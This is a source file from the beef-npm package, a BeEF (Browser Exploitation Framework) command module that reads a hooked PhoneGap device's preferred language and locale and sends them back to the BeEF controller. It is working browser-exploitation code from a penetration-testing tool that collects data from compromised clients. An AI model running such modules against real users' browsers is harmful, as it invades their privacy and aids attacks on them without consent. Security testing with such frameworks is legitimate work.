beef-npm
Version:
Node.js package to install and interact with BeEF (Browser Exploitation Framework)
34 lines (30 loc) • 1.01 kB
JavaScript
//
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_globalization_status
//
beef.execute(function() {
var result = '';
navigator.globalization.getPreferredLanguage(
function (language) {
result = 'language: ' + language.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'language: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
navigator.globalization.getLocaleName(
function (locale) {
result = 'locale: ' + locale.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'locale: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
});